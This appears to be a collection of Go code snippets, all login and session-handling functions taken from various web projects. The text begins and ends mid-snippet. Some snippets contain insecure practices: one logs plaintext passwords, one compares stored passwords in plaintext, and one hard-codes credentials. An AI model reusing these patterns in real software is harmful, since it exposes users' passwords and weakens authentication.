{\n\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tw.Write([]byte(err.Error()))\n\n\t}\n\n\t//Save Session\n\terr = session.Save(r, w)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tw.Write([]byte(err.Error()))\n\t}\n\n\t//Redirect to ProfilePage\n\thttp.Redirect(w, r, \"/users?action=userdata\", http.StatusFound)\n}", "func requireLogin(rw http.ResponseWriter, req *http.Request, app *App) bool {\n\tses, _ := app.SessionStore.Get(req, SessionName)\n\tvar err error\n\tvar id int64\n\tif val := ses.Values[\"userId\"]; val != nil {\n\t\tid = val.(int64)\n\t}\n\n\tif err == nil {\n\t\t_, err = models.UserById(app.Db, id)\n\t}\n\n\tif err != nil {\n\t\thttp.Redirect(rw, req, app.Config.General.Prefix+\"/login\", http.StatusSeeOther)\n\t\treturn true\n\t}\n\treturn false\n}", "func Login() echo.HandlerFunc {\n\treturn emailAndPasswordRequired(\n\t\tfunc(context echo.Context) error {\n\t\t\tpassword := context.FormValue(\"password\")\n\t\t\temail := context.FormValue(\"email\")\n\t\t\tuser, err := FindByEmail(email)\n\t\t\tif err != nil || user == nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\treturn context.JSON(http.StatusUnauthorized, errors.New(\"Wrong email and password combination\"))\n\t\t\t}\n\t\t\terr = bcrypt.CompareHashAndPassword([]byte(user.Hash), []byte(password))\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\treturn context.JSON(http.StatusUnauthorized, errors.New(\"Wrong email and password combination\"))\n\t\t\t}\n\t\t\tauthToken, sessionID := auth.GetSessionToken()\n\t\t\tuser.Hash = \"\" // dont return the hash, for security concerns\n\n\t\t\tuserSession, err := session.New(sessionID, user.ID, user.Firstname, user.Lastname, user.Email, user.IsAdmin)\n\t\t\tif err != nil {\n\t\t\t\tcontext.JSON(http.StatusInternalServerError, err)\n\t\t\t}\n\t\t\terr = session.Save(&userSession)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Cannot save session %+v: %s\\n\", userSession, err)\n\t\t\t\tcontext.JSON(http.StatusInternalServerError, err)\n\t\t\t}\n\t\t\tcontext.Response().Header().Set(echo.HeaderAuthorization, authToken)\n\t\t\taddCookie(context, authToken)\n\t\t\treturn context.JSON(http.StatusOK, formatUser(user))\n\t\t})\n}", "func UserLoginPost(w http.ResponseWriter, r *http.Request) {\n\tsess := session.Instance(r)\n\tvar loginResp webpojo.UserLoginResp\n\n\t// Prevent brute force login attempts by not hitting MySQL and pretending like it was invalid :-)\n\tif sess.Values[SessLoginAttempt] != nil && sess.Values[SessLoginAttempt].(int) >= 5 {\n\t\tlog.Println(\"Brute force login prevented\")\n\t\tloginResp = makeUserLoginResp(constants.StatusCode_429, constants.Msg_429, \"/api/admin/login\")\n\t\tReturnJsonResp(w, loginResp)\n\t\treturn\n\t}\n\n\tbody, readErr := ioutil.ReadAll(r.Body)\n\tif readErr != nil {\n\t\tlog.Println(readErr)\n\t\tReturnError(w, readErr)\n\t\treturn\n\t}\n\n\tif len(body) == 0 {\n\t\tlog.Println(\"Empty json payload\")\n\t\tRecordLoginAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tloginResp = makeUserLoginResp(constants.StatusCode_400, constants.Msg_400, \"/api/admin/login\")\n\t\tReturnJsonResp(w, loginResp)\n\t\treturn\n\t}\n\n\t//log.Println(\"r.Body\", string(body))\n\tloginReq := webpojo.UserLoginReq{}\n\tjsonErr := json.Unmarshal(body, &loginReq)\n\tif jsonErr != nil {\n\t\tlog.Println(jsonErr)\n\t\tReturnError(w, jsonErr)\n\t\treturn\n\t}\n\tlog.Println(loginReq.Username)\n\n\t//should check for expiration\n\tif sess.Values[UserID] != nil && sess.Values[UserName] == loginReq.Username {\n\t\tlog.Println(\"Already signed in - session is valid!!\")\n\t\tsess.Save(r, w) //Should also start a new expiration\n\t\tloginResp = makeUserLoginResp(constants.StatusCode_200, constants.Msg_200, \"/api/admin/leads\")\n\t\tReturnJsonResp(w, loginResp)\n\t\treturn\n\t}\n\n\tresult, dbErr := model.UserByEmail(loginReq.Username)\n\tif dbErr == model.ErrNoResult {\n\t\tlog.Println(\"Login attempt: \", sess.Values[SessLoginAttempt])\n\t\tRecordLoginAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tloginResp = makeUserLoginResp(constants.StatusCode_204, constants.Msg_204, \"/api/admin/login\")\n\t} else if dbErr != nil {\n\t\tlog.Println(dbErr)\n\t\tRecordLoginAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tloginResp = makeUserLoginResp(constants.StatusCode_500, constants.Msg_500, \"/error\")\n\t} else if passhash.MatchString(result.Password, loginReq.Password) {\n\t\tlog.Println(\"Login successfully\")\n\t\tsession.Empty(sess)\n\t\tsess.Values[UserID] = result.UserID()\n\t\tsess.Values[UserName] = loginReq.Username\n\t\tsess.Values[UserRole] = result.UserRole\n\t\tsess.Save(r, w) //Should also store expiration\n\t\tloginResp = webpojo.UserLoginResp{}\n\t\tloginResp.StatusCode = constants.StatusCode_200\n\t\tloginResp.Message = constants.Msg_200\n\t\tloginResp.URL = \"/api/admin/leads\"\n\t\tloginResp.FirstName = result.FirstName\n\t\tloginResp.LastName = result.LastName\n\t\tloginResp.UserRole = result.UserRole\n\t\tloginResp.Email = loginReq.Username\n\t} else {\n\t\tlog.Println(\"Login attempt: \", sess.Values[SessLoginAttempt])\n\t\tRecordLoginAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tloginResp = makeUserLoginResp(constants.StatusCode_404, constants.Msg_404, \"/api/admin/login\")\n\t}\n\n\tReturnJsonResp(w, loginResp)\n}", "func (uStr *User) Signin(w http.ResponseWriter, r *http.Request) {\n\n\tvar user User\n\n\terr = DB.QueryRow(\"SELECT id FROM users WHERE email=?\", uStr.Email).Scan(&user.ID)\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\n\tif utils.AuthType == \"default\" {\n\n\t\tif uStr.Email != \"\" {\n\t\t\terr = DB.QueryRow(\"SELECT id, password FROM users WHERE email=?\", uStr.Email).Scan(&user.ID, &user.Password)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"err email\")\n\t\t\t\tutils.AuthError(w, r, err, \"user by Email not found\", utils.AuthType)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tutils.ReSession(user.ID, uStr.Session, \"\", \"\")\n\t\t} else if uStr.Username != \"\" {\n\t\t\terr = DB.QueryRow(\"SELECT id, password FROM users WHERE username=?\", uStr.Username).Scan(&user.ID, &user.Password)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"errr username\")\n\t\t\t\tutils.AuthError(w, r, err, \"user by Username not found\", utils.AuthType)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tutils.ReSession(user.ID, uStr.Session, \"\", \"\")\n\t\t}\n\t\t//check pwd, if not correct, error\n\t\terr = bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(uStr.Password))\n\t\tif err != nil {\n\t\t\tutils.AuthError(w, r, err, \"password incorrect\", utils.AuthType)\n\t\t\treturn\n\t\t}\n\t} else if utils.AuthType == \"google\" || utils.AuthType == \"github\" {\n\t\tutils.ReSession(user.ID, uStr.Session, \"\", \"\")\n\t}\n\t\n\t//1 time set uuid user, set cookie in Browser\n\tnewSession := general.Session{\n\t\tUserID: user.ID,\n\t}\n\t\n\tuuid := uuid.Must(uuid.NewV4(), err).String()\n\tif err != nil {\n\t\tutils.AuthError(w, r, err, \"uuid problem\", utils.AuthType)\n\t\treturn\n\t}\n\t//create uuid and set uid DB table session by userid,\n\tuserPrepare, err := DB.Prepare(`INSERT INTO session(uuid, user_id, cookie_time) VALUES (?, ?, ?)`)\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\n\t_, err = userPrepare.Exec(uuid, newSession.UserID, time.Now())\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\tdefer userPrepare.Close()\n\n\tif err != nil {\n\t\tutils.AuthError(w, r, err, \"the user is already in the system\", utils.AuthType)\n\t\t//get ssesion id, by local struct uuid\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\t\n\t// get user in info by session Id\n\terr = DB.QueryRow(\"SELECT id, uuid FROM session WHERE user_id = ?\", newSession.UserID).Scan(&newSession.ID, &newSession.UUID)\n\tif err != nil {\n\t\tutils.AuthError(w, r, err, \"not find user from session\", utils.AuthType)\n\t\tlog.Println(err, \"her\")\n\t\treturn\n\t}\n\tutils.SetCookie(w, newSession.UUID)\n\t//user.Session.StartTimeCookie = time.Now().Add(time.Minute * 60)\n\tutils.AuthError(w, r, nil, \"success\", utils.AuthType)\n\tfmt.Println(utils.AuthType, \"auth type\")\n\thttp.Redirect(w, r, \"/profile\", 302)\n}", "func verifyLogin(r *http.Request) bool {\n\tsession, err := store.Get(r, sessionName)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to get session: %s\", err)\n\t\treturn false\n\t}\n\tif session.Values[\"LoggedIn\"] != \"yes\" {\n\t\treturn false\n\t}\n\treturn true\n}", "func (uh *UserHandler) Login(w http.ResponseWriter, r *http.Request) {\n\n\terrMap := make(map[string]string)\n\tuser := uh.Authentication(r)\n\tif user != nil {\n\t\thttp.Redirect(w, r, \"/Dashboard\", http.StatusSeeOther)\n\t\treturn\n\t}\n\n\tif r.Method == http.MethodGet {\n\t\tuh.CSRF, _ = stringTools.GenerateRandomBytes(30)\n\t\ttoken, err := stringTools.CSRFToken(uh.CSRF)\n\t\tinputContainer := InputContainer{CSRF: token}\n\t\tif err != nil {\n\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t\tuh.Temp.ExecuteTemplate(w, \"LoginPage.html\", inputContainer)\n\t\treturn\n\t}\n\n\tif r.Method == http.MethodPost {\n\t\temail := r.FormValue(\"email\")\n\t\tpassword := r.FormValue(\"password\")\n\n\t\t// Validating CSRF Token\n\t\tcsrfToken := r.FormValue(\"csrf\")\n\t\tok, errCRFS := stringTools.ValidCSRF(csrfToken, uh.CSRF)\n\t\tif !ok || errCRFS != nil {\n\t\t\terrMap[\"csrf\"] = \"Invalid token used!\"\n\t\t}\n\n\t\terr := uh.UService.Login(email, password)\n\n\t\tif err != nil || len(errMap) > 0 {\n\t\t\terrMap[\"login\"] = \"Invalid email or password!\"\n\t\t\tuh.CSRF, _ = stringTools.GenerateRandomBytes(30)\n\t\t\ttoken, _ := stringTools.CSRFToken(uh.CSRF)\n\t\t\tinputContainer := InputContainer{Error: errMap, CSRF: token}\n\t\t\tuh.Temp.ExecuteTemplate(w, \"LoginPage.html\", inputContainer)\n\t\t\treturn\n\t\t}\n\n\t\tnewSession := uh.configSess()\n\t\tclaims := stringTools.Claims(email, newSession.Expires)\n\t\tsession.Create(claims, newSession, w)\n\t\t_, err = uh.SService.StoreSession(newSession)\n\n\t\tif err != nil {\n\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\n\t\thttp.Redirect(w, r, \"/Dashboard\", http.StatusSeeOther)\n\t\treturn\n\t}\n\n}", "func Login(usr, passwd string) (bool, error) {\n\t// instantiate http client, but remove\n\t// past user sessions to prevent redirection\n\tjar, _ := cookiejar.New(nil)\n\tc := cfg.Session.Client\n\tc.Jar = jar\n\n\tlink, _ := url.Parse(cfg.Settings.Host)\n\tlink.Path = path.Join(link.Path, \"enter\")\n\tbody, err := pkg.GetReqBody(&c, link.String())\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t// Hidden form data\n\tcsrf := pkg.FindCsrf(body)\n\tftaa := \"yzo0kk4bhlbaw83g2q\"\n\tbfaa := \"883b704dbe5c70e1e61de4d8aff2da32\"\n\n\t// Post form (aka login using creds)\n\tbody, err = pkg.PostReqBody(&c, link.String(), url.Values{\n\t\t\"csrf_token\": {csrf},\n\t\t\"action\": {\"enter\"},\n\t\t\"ftaa\": {ftaa},\n\t\t\"bfaa\": {bfaa},\n\t\t\"handleOrEmail\": {usr},\n\t\t\"password\": {passwd},\n\t\t\"_tta\": {\"176\"},\n\t\t\"remember\": {\"on\"},\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tusr = pkg.FindHandle(body)\n\tif usr != \"\" {\n\t\t// create aes 256 encryption and encode as\n\t\t// hex string and save to sessions.json\n\t\tenc, _ := aes.NewAES256Encrypter(usr, nil)\n\t\ted, _ := enc.Encrypt([]byte(passwd))\n\t\tciphertext := hex.EncodeToString(ed)\n\t\t// update sessions data\n\t\tcfg.Session.Cookies = jar\n\t\tcfg.Session.Handle = usr\n\t\tcfg.Session.Passwd = ciphertext\n\t\tcfg.SaveSession()\n\t}\n\treturn (usr != \"\"), nil\n}", "func (c App) CheckLogin() revel.Result {\n if _, ok := c.Session[\"userName\"]; ok {\n c.Flash.Success(\"You are already logged in \" + c.Session[\"userName\"] + \"!\")\n return c.Redirect(routes.Todo.Index())\n }\n\n return nil\n}", "func Login(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tusername := c.PostForm(\"username\")\n\tpassword := c.PostForm(\"password\")\n\n\t// Validate form input\n\tif strings.Trim(username, \" \") == \"\" || strings.Trim(password, \" \") == \"\" {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"error\": \"Parameters can't be empty\"})\n\t\treturn\n\t}\n\n\t// Check for username and password match, usually from a database\n\tif username != \"id\" || password != \"pw\" {\n\t\tc.JSON(http.StatusUnauthorized, gin.H{\"error\": \"Authentication failed\"})\n\t\tutil.Error(\"Authentication failed\")\n\t\treturn\n\t}\n\t// Save the username in the session\n\tsession.Set(userkey, username)\n\t// In real world usage you'd set this to the users ID\n\tif err := session.Save(); err != nil {\n\t\tutil.Error(\"Failed to save session\")\n\t\tutil.Error(err.Error())\n\t\treturn\n\t}\n\tc.JSON(http.StatusOK, gin.H{\"message\": \"Successfully authenticated user\"})\n\tutil.Info(\"Successfully to session\")\n}", "func login(w http.ResponseWriter, r *http.Request) {\n\ttmpl := template.Must(template.ParseFiles(\"templates/login.html\"))\n\tif r.Method != http.MethodPost {\n\t\ttmpl.Execute(w, nil)\n\t}\n\n\tdetails := userLogin{\n\t\tUsername: r.FormValue(\"username\"),\n\t\tPassword: r.FormValue(\"psw\"),\n\t}\n\n\tlog.Println(details)\n\t//Attempt login by calling LDAP verify credentials\n\tlog.Println(\"Username: \" + details.Username)\n\tlog.Println(\"Pass: \" + details.Password)\n\tauth := verifyCredentials(details.Username, details.Password)\n\tlog.Println(auth)\n\n\t//authorize user and create JWT\n\tif auth {\n\t\tfmt.Println(\"starting auth ...\")\n\t\tfor _, cookie := range r.Cookies() {\n\t\t\tfmt.Print(\"Cookie User: \")\n\t\t\tfmt.Println(w, cookie.Name)\n\t\t\treadJWT(cookie.Name)\n\t\t}\n\t\ttoken := generateJWT(details.Username)\n\t\tsetJwtCookie(token, w, r)\n\t\thttp.Redirect(w, r, \"/dashboard\", http.StatusSeeOther)\n\t}\n\n}", "func UserLoginData(loginResponse http.ResponseWriter, loginRequest *http.Request) {\n\n\t//var userSessioneventID int\n\tdb := dbConn()\n\tdefer db.Close()\n\n\tif loginRequest.Method != \"POST\" {\n\t\tlog.Panic(\"Form data is not Post\")\n\t\thttp.Redirect(loginResponse, loginRequest, \"/\", http.StatusSeeOther)\n\t}\n\n\tcookie, cookieError := loginRequest.Cookie(\"login-cookie\") // returns cookie or an error\n\n\t// check incoming cookie with db\n\n\tif cookieError != nil {\n\t\tlog.Fatal(\"Cookies dont match\")\n\t} else {\n\t\tlog.Println(\"Got cookie : \", cookie)\n\t\tuserName := loginRequest.FormValue(\"username\")\n\t\tpassword := loginRequest.FormValue(\"password\")\n\t\t//rememberMe := loginRequest.FormValue(\"remember_me\")\n\t\t//fmt.Println(\"Rember me : \", rememberMe)\n\n\t\tuserLogin, eventID := userLoginProcessing(userName, password, cookie.Value)\n\n\t\tif userLogin {\n\t\t\t/*\n\t\t\t\tPassword matches, insert jwt and details to user_session table.\n\t\t\t\tUpdate initial loging table setting used=1 and next event id\n\t\t\t*/\n\t\t\tjwt, jwtErr := GenerateJWT(cookie.Value, 30) // for now its 30min session\n\n\t\t\tif jwtErr != nil {\n\t\t\t\tlog.Println(\"Can not generate jwt token\", jwtErr)\n\t\t\t}\n\n\t\t\thttp.SetCookie(loginResponse, &http.Cookie{\n\t\t\t\tName: \"user-cookie\",\n\t\t\t\tValue: jwt,\n\t\t\t\tPath: \"/home\",\n\t\t\t})\n\n\t\t\t/*\n\t\t\t\tInserting user_session and updating initial table\n\t\t\t*/\n\n\t\t\tloginSession, userSessionID := insertToUserSession(userName, jwt)\n\n\t\t\tif loginSession != true {\n\t\t\t\tlog.Println(\"Couldnt insert data to user session table\")\n\t\t\t}\n\n\t\t\tinitTable := updateInitialLogin(userSessionID, eventID)\n\n\t\t\tif initTable {\n\t\t\t\thttp.Redirect(loginResponse, loginRequest, \"/home\", http.StatusSeeOther)\n\t\t\t}\n\n\t\t} else { // password checking if-else\n\t\t\t// This is where I need to modify not to generate new token for login\n\t\t\thttp.Redirect(loginResponse, loginRequest, \"/\", http.StatusSeeOther)\n\t\t}\n\t} // cookie availble checking if-else\n\n}", "func LoginPage(w http.ResponseWriter, r *http.Request) { \n tmpl, err := template.ParseFiles(\"templates/loginPage.html\")\n if err != nil {\n fmt.Println(err)\n }\n var user helpers.User\n credentials := userCredentials{\n EmailId: r.FormValue(\"emailId\"),\n Password: r.FormValue(\"password\"), \n }\n\n login_info := dbquery.GetUserByEmail(credentials.EmailId)\n user = helpers.User{\n UserId: login_info.UserId,\n FirstName: login_info.FirstName,\n LastName: login_info.LastName, \n Role: login_info.Role,\n Email: login_info.Email,\n \n }\n\n var emailValidation string\n\n _userIsValid := CheckPasswordHash(credentials.Password, login_info.Password)\n\n if !validation(login_info.Email, credentials.EmailId, login_info.Password, credentials.Password) {\n emailValidation = \"Please enter valid Email ID/Password\"\n }\n\n if _userIsValid {\n setSession(user, w)\n http.Redirect(w, r, \"/dashboard\", http.StatusFound)\n }\n\n var welcomeLoginPage string\n welcomeLoginPage = \"Login Page\"\n\n tmpl.Execute(w, Response{WelcomeMessage: welcomeLoginPage, ValidateMessage: emailValidation}) \n \n}", "func (bap *BaseAuthProvider) Login(ctx *RequestCtx) (user User, reason error) {\n\t// try to verify credential\n\targs := ctx.Args\n\tusername := B2S(args.Peek(\"username\"))\n\tpassword := B2S(args.Peek(\"password\"))\n\tif len(username) == 0 && len(password) == 0 {\n\t\t//recover session from token\n\t\tuser := bap.UserFromRequest(ctx.Ctx)\n\t\tif user != nil {\n\t\t\treturn user, nil\n\t\t} else {\n\t\t\tfmt.Println(\"#1 errorWrongUsername\")\n\t\t\treturn nil, errorWrongUsername\n\t\t}\n\t} else if len(username) > 0 {\n\t\t// retrieve user's master data from db\n\t\t//log.Printf(\"Verify password by rich userobj in %T\\n\", bap.AccountProvider)\n\t\tvar userInDB User\n\t\tuserInDB = bap.AccountProvider.GetUser(username)\n\t\tif userInDB == nil {\n\t\t\tWriteToCookie(ctx.Ctx, AuthTokenName, \"\")\n\t\t\tfmt.Println(\"#2 errorWrongUsername\")\n\t\t\treturn nil, errorWrongUsername\n\t\t} else {\n\t\t\tif userInDB.Disabled() {\n\t\t\t\treturn nil, errorUserDisabled\n\t\t\t} else if !userInDB.Activated() {\n\t\t\t\treturn nil, errorUserInactivated\n\t\t\t}\n\t\t\tif ok := bap.FuCheckPassword(userInDB, password); ok {\n\t\t\t\tuserInDB.SetToken(DefaultTokenGenerator(userInDB.Username()))\n\t\t\t\t(*bap.Mutex).Lock()\n\t\t\t\tuserInDB.Touch()\n\t\t\t\tbap.TokenCache[userInDB.Token()] = userInDB\n\t\t\t\tbap.TokenToUsername.SetString(userInDB.Token(), []byte(userInDB.Username()))\n\t\t\t\t(*bap.Mutex).Unlock()\n\n\t\t\t\tWriteToCookie(ctx.Ctx, AuthTokenName, userInDB.Token())\n\t\t\t\treturn userInDB, nil\n\t\t\t}\n\t\t\tWriteToCookie(ctx.Ctx, AuthTokenName, \"\")\n\t\t\treturn nil, errorWrongPassword\n\t\t}\n\t}\n\tWriteToCookie(ctx.Ctx, AuthTokenName, \"\")\n\tfmt.Println(\"#3 errorWrongUsername\")\n\treturn nil, errorWrongUsername\n}", "func Login(rw http.ResponseWriter, request *http.Request) {\n\n\tlog.Println(\"call Login\")\n\n\t// フォームデータのパース\n\terr := request.ParseForm()\n\tif err != nil {\n\t\toutputErrorLog(\"フォーム パース 失敗\", err)\n\t}\n\n\t// リクエストデータ取得\n\taccount := request.Form.Get(\"account\")\n\tpassword := request.Form.Get(\"password\")\n\tlog.Println(\"ユーザ:\", account)\n\n\t// ユーザデータ取得しモデルデータに変換\n\tdbm := db.ConnDB()\n\tuser := new(models.User)\n\trow := dbm.QueryRow(\"select account, name, password from users where account = ?\", account)\n\tif err = row.Scan(&user.Name, &user.Account, &user.Password); err != nil {\n\t\toutputErrorLog(\"ユーザ データ変換 失敗\", err)\n\t}\n\n\t// ユーザのパスワード認証\n\tif user.Password != password {\n\t\tlog.Println(\"ユーザ パスワード照合 失敗\")\n\t\thttp.Redirect(rw, request, \"/index\", http.StatusFound)\n\t\treturn\n\t}\n\n\tlog.Println(\"認証 成功\")\n\n\t// 認証が通ったら、セッション情報をDBに保存\n\tsessionID := generateSessionID(account)\n\tlog.Println(\"生成したセッションID:\", sessionID)\n\tnow := time.Now()\n\tresult, err := dbm.Exec(`INSERT INTO sessions\n\t\t(sessionID, account, expireDate)\n\t\tVALUES\n\t\t(?, ?, ?)\n\t\t`, sessionID, account, now.Add(1*time.Hour))\n\tnum, err := result.RowsAffected()\n\tif err != nil || num == 0 {\n\t\toutputErrorLog(\"セッション データ保存 失敗\", err)\n\t}\n\n\tlog.Println(\"セッション データ保存 成功\")\n\n\t// クッキーにセッション情報付与\n\tcookie := &http.Cookie{\n\t\tName: sessionIDName,\n\t\tValue: sessionID,\n\t}\n\thttp.SetCookie(rw, cookie)\n\n\t// HOME画面に遷移\n\thttp.Redirect(rw, request, \"/home\", http.StatusFound)\n}", "func LoginPost(ctx echo.Context) error {\n\tvar flashMessages = flash.New()\n\tf := forms.New(utils.GetLang(ctx))\n\tlf, err := f.DecodeLogin(ctx.Request())\n\tif err != nil {\n\t\tctx.Redirect(http.StatusFound, \"/auth/login\")\n\t\treturn nil\n\t}\n\tif !lf.Valid() {\n\t\tfor k, v := range lf.Ctx() {\n\t\t\tflashMessages.AddCtx(k, v)\n\t\t}\n\t\tflashMessages.Save(ctx)\n\t\tctx.Redirect(http.StatusFound, \"/auth/login\")\n\t\treturn nil\n\t}\n\tvar user *models.User\n\tif validate.IsEmail(lf.Name) {\n\t\tuser, err = query.AuthenticateUserByEmail(db.Conn, *lf)\n\t\tif err != nil {\n\t\t\tlog.Error(ctx, err)\n\n\t\t\t// We want the user to try again, but rather than rendering the form right\n\t\t\t// away, we redirect him/her to /auth/login route(where the login process with\n\t\t\t// start aflsesh albeit with a flash message)\n\t\t\tflashMessages.Err(settings.FlashLoginErr)\n\t\t\tflashMessages.Save(ctx)\n\t\t\tctx.Redirect(http.StatusFound, \"/auth/login\")\n\t\t\treturn nil\n\t\t}\n\t} else {\n\t\tuser, err = query.AuthenticateUserByName(db.Conn, *lf)\n\t\tif err != nil {\n\t\t\tlog.Error(ctx, err)\n\n\t\t\t// We want the user to try again, but rather than rendering the form right\n\t\t\t// away, we redirect him/her to /auth/login route(where the login process with\n\t\t\t// start aflsesh albeit with a flash message)\n\t\t\tflashMessages.Err(settings.FlashLoginErr)\n\t\t\tflashMessages.Save(ctx)\n\t\t\tctx.Redirect(http.StatusFound, \"/auth/login\")\n\t\t\treturn nil\n\t\t}\n\t}\n\n\t// create a session for the user after the validation has passed. The info stored\n\t// in the session is the user ID, where as the key is userID.\n\tss, err := sessStore.Get(ctx.Request(), settings.App.Session.Name)\n\tif err != nil {\n\t\tlog.Error(ctx, err)\n\t}\n\tss.Values[\"userID\"] = user.ID\n\terr = ss.Save(ctx.Request(), ctx.Response())\n\tif err != nil {\n\t\tlog.Error(ctx, err)\n\t}\n\tperson, err := query.GetPersonByUserID(db.Conn, user.ID)\n\tif err != nil {\n\t\tlog.Error(ctx, err)\n\t\tflashMessages.Err(settings.FlashLoginErr)\n\t\tflashMessages.Save(ctx)\n\t\tctx.Redirect(http.StatusFound, \"/auth/login\")\n\t\treturn nil\n\t}\n\n\t// add context data. IsLoged is just a conveniece in template rendering. the User\n\t// contains a models.Person object, where the PersonName is already loaded.\n\tutils.SetData(ctx, \"IsLoged\", true)\n\tutils.SetData(ctx, \"User\", person)\n\tflashMessages.Success(settings.FlashLoginSuccess)\n\tflashMessages.Save(ctx)\n\tctx.Redirect(http.StatusFound, \"/\")\n\treturn nil\n}", "func Login(r *http.Request) (bool, models.User, error) {\n\tusername, password := r.FormValue(\"username\"), r.FormValue(\"password\")\n\tu, err := models.GetUserByUsername(username)\n\tif err != nil && err != models.ErrUsernameTaken {\n\t\treturn false, models.User{}, err\n\t}\n\t//If we've made it here, we should have a valid user stored in u\n\t//Let's check the password\n\terr = bcrypt.CompareHashAndPassword([]byte(u.Hash), []byte(password))\n\tif err != nil {\n\t\treturn false, models.User{}, ErrInvalidPassword\n\t}\n\treturn true, u, nil\n}", "func (oc *Client) validateSession(loginDetails *creds.LoginDetails) error {\n\tlogger.Debug(\"validate session func called\")\n\n\tif loginDetails == nil {\n\t\tlogger.Debug(\"unable to validate the okta session, nil input\")\n\t\treturn fmt.Errorf(\"unable to validate the okta session, nil input\")\n\t}\n\n\tsessionCookie := loginDetails.OktaSessionCookie\n\n\toktaURL, err := url.Parse(loginDetails.URL)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error building oktaURL\")\n\t}\n\n\toktaOrgHost := oktaURL.Host\n\n\tsessionReqURL := fmt.Sprintf(\"https://%s/api/v1/sessions/me\", oktaOrgHost) // This api endpoint returns user details\n\tsessionReqBody := new(bytes.Buffer)\n\n\treq, err := http.NewRequest(\"GET\", sessionReqURL, sessionReqBody)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error building new session request\")\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Header.Add(\"Accept\", \"application/json\")\n\treq.Header.Add(\"Cookie\", fmt.Sprintf(\"sid=%s\", sessionCookie))\n\n\tres, err := oc.client.Do(req)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error retrieving session response\")\n\t}\n\n\tbody, err := io.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error retrieving body from response\")\n\t}\n\n\tresp := string(body)\n\n\tif res.StatusCode != 200 {\n\t\tlogger.Debug(\"invalid okta session\")\n\t\treturn fmt.Errorf(\"invalid okta session\")\n\t} else {\n\t\tsessionResponseStatus := gjson.Get(resp, \"status\").String()\n\t\tswitch sessionResponseStatus {\n\t\tcase \"ACTIVE\":\n\t\t\tlogger.Debug(\"okta session established\")\n\t\tcase \"MFA_REQUIRED\":\n\t\t\t_, err := verifyMfa(oc, oktaOrgHost, loginDetails, resp)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"error verifying MFA\")\n\t\t\t}\n\t\tcase \"MFA_ENROLL\":\n\t\t\t// Not yet fully implemented, so just return the status as the error string...\n\t\t\treturn fmt.Errorf(\"MFA_ENROLL\")\n\t\t}\n\t}\n\n\tlogger.Debug(\"valid okta session\")\n\treturn nil\n}", "func userLoginProcessing(userName string, password string, cookie string) (bool, int) {\n\tvar loginUser users\n\tvar userInitial userLoginStruct\n\n\tdb := dbConn()\n\tdefer db.Close()\n\n\t// login page defined token checking\n\tloginTokenCheck := db.QueryRow(\"SELECT event_id,used FROM user_initial_login WHERE token=? and used=0\", cookie).Scan(&userInitial.eventID, &userInitial.used)\n\n\tif loginTokenCheck != nil {\n\t\tlog.Println(\"user_initial_login table read faild\") // posible system error or hacking attempt ?\n\t\tlog.Println(loginTokenCheck)\n\t\treturn false, 0\n\t}\n\n\t// update initial user details table\n\tinitialUpdate, initErr := db.Prepare(\"update user_initial_login set used=1 where event_id=?\")\n\n\tif initErr != nil {\n\t\tlog.Println(\"Couldnt update initial user table\")\n\t\treturn false, 0 // we shouldnt compare password\n\t}\n\n\t_, updateErr := initialUpdate.Exec(userInitial.eventID)\n\n\tif updateErr != nil {\n\t\tlog.Println(\"Couldnt execute initial update\")\n\n\t}\n\tlog.Printf(\"Initial table updated for event id %d : \", userInitial.eventID)\n\t// end login page token checking\n\n\treadError := db.QueryRow(\"SELECT id,password FROM car_booking_users WHERE username=?\", userName).Scan(&loginUser.id, &loginUser.password)\n\tdefer db.Close()\n\tif readError != nil {\n\t\t//http.Redirect(res, req, \"/\", 301)\n\t\tlog.Println(\"data can not be taken\")\n\n\t}\n\n\tcomparePassword := bcrypt.CompareHashAndPassword([]byte(loginUser.password), []byte(password))\n\n\t// https://stackoverflow.com/questions/52121168/bcrypt-encryption-different-every-time-with-same-input\n\n\tif comparePassword != nil {\n\t\t/*\n\t\t\tHere I need to find a way to make sure that initial token is not get created each time wrong username password\n\n\t\t\tAlso Need to implement a way to restrict accessing after 5 attempts\n\t\t*/\n\t\tlog.Println(\"Wrong user name password\")\n\t\treturn false, 0\n\t} //else {\n\n\tlog.Println(\"Hurray\")\n\treturn true, userInitial.eventID\n\t//}\n\n}", "func Login(w http.ResponseWriter, r *http.Request) {\r\n\tlogin := strings.Trim(r.FormValue(\"login\"), \" \")\r\n\tpass := strings.Trim(r.FormValue(\"pass\"), \" \")\r\n\tlog.Println(\"login: \", login, \" pass: \", pass)\r\n\r\n\t// Check params\r\n\tif login == \"\" || pass == \"\" {\r\n\t\twriteResponse(w, \"Login and 